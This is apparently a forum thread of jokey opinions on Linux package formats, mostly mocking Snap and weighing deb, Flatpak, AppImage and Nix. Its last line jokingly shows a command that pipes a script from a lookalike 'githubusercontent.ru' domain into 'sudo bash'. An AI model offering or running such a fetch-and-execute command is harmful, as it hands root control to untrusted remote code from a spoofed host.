Snap bad

A magnetised needle and a steady hand is a better package format.

Let the hate of the crowd wash over me, but I don't even like Flatpak, and I've got love-hate (mostly hate) relationship with AppImage as well.

Just give me a system package or a zipped tarball.

In recent years, have had to just get used to needing to build most projects from source.

Are there enough watermarks on this meme? At least we got reddit covered.

A stab at my personal ranking: .deb > appimage > flatpack > curling a shell script

I can't help but love a .deb file (even when not via repo), I've almost exclusively used Debian and it derivatives since the late 90s. And snap isn't on the list because it got stored in a loopback device I removed.

Nix is just across the street sipping tea because it understands what it is and is at peace with the chaotic world around it.

my issue with snaps is honestly just that they are controlled too much by just one entity (canonical) and there is no reason for them to exist because flatpak already does everything they do.

I have really started to like AppImage. You just download a single file make it executable and it just works.

I use Cursor for coding, and it has an appimage that replaces itself when it updates.

If flatpak didn't make me put the entirety of KDE onto my system (thats an exaggeration but you know what I mean) I'd gladly crown it king of the package managers.

AppImage is the no-nonsense universal package format.

I tried a snap package on my pop-os system once & it poo'ed folders all over my system, then didn't actually uninstall when I uninstalled it.

No thank you.

I need nothing but apt or dnf. Miss me with that other junk.

A rusty bucket riddled with holes and the stick part of a shovel is better than snap for running software.

.tar.gz should be appimage.

Flatpak and SystemD Portable services are actually pretty good.

That's the direction I see Linux going. I personally use NixOS because I am sad.

Tar is not a package manager, it is just a packaging format. AppImage has the same problem.

Flatpak is a bit of a crappy package manager but at least it is one. And, due to its use of container technology, it allows the same packages to run on any Linux kernel (any Linux distro). That is pretty useful.

Of the other package managers, apk 3 is my favourite but the only distro that uses it is Chimera Linux. Pacman is good. dnf / RPM is ok. apt / deb is in last place for me. The recent Ubuntu 25.04 launch snafu illustrates some of the problems with apt. The first Linus Tech Tips Linux challenge really highlighted the dangers of apt.

I only used snap briefly but instantly hated it. Fstab was a mess. It was slow. It was proprietary. I fled before I could form an educated opinion.

laughs in Nix and NixOS

Like a bunch of old farts in a coffee shop arguing over which truck brand is better.

I really like flatpak and it's system, but AppImages are in a nice second place. I usually look for a flatpak first and appimages if I can't find the first.

Haha, I break snap a lot less than the others, and it took a bit to figure out the differences. Appimages are annoying af. Flatpaks are my favourite when there isn't a good old .deb. I recently broke Flatpak though so it's on my naughty list. Snap still chugging along for some reason, I just wish the permissions weren't so crazy strict (Nextcloud).

Speaking of all this, I realised I've accidentally installed some things twice. Is there a good way to list all the different package managers together to see what is duplicated?

Only tangentially related - but a friend brought over a new kubuntu install and Canonical had the cheek to demand money for VLC patches? They don't fing own VLC. What the actual f is going on over there, Canonical?

I'd love to use flatpak more, but with my peculiar internet situation, installing a single package can take 6-7 hours.

Appimage>your inferior packaged application method

Fuck flatpak, all my homies hate flatpak

What's wrong with Snap?

EDIT: I had minimal exposure to Snap, sometimes Snap was my only option to get some software on Linux in a decent version and without getting into dependency hell while trying to compile it (why can't someone make a package manager for C/C++?). I do see the issue with proprietary servers though.

i just got an Ubuntu machine at work, and really simple packages are only available as snaps. so i guess i’m going to try out Nix home-manager

Apt is kind of broken, to be honest. No package should have full system access during installs or execution.

Still don't know how I'm supposed to add dictionaries to FF on snap. So many little issues like this with snaps.

Even OCI containers are better

🎩 ./configure; make; sudo make install;

🎩 wget -q -O- https://raw.githubusercontent.ru/linux-security/security.sh | sudo bash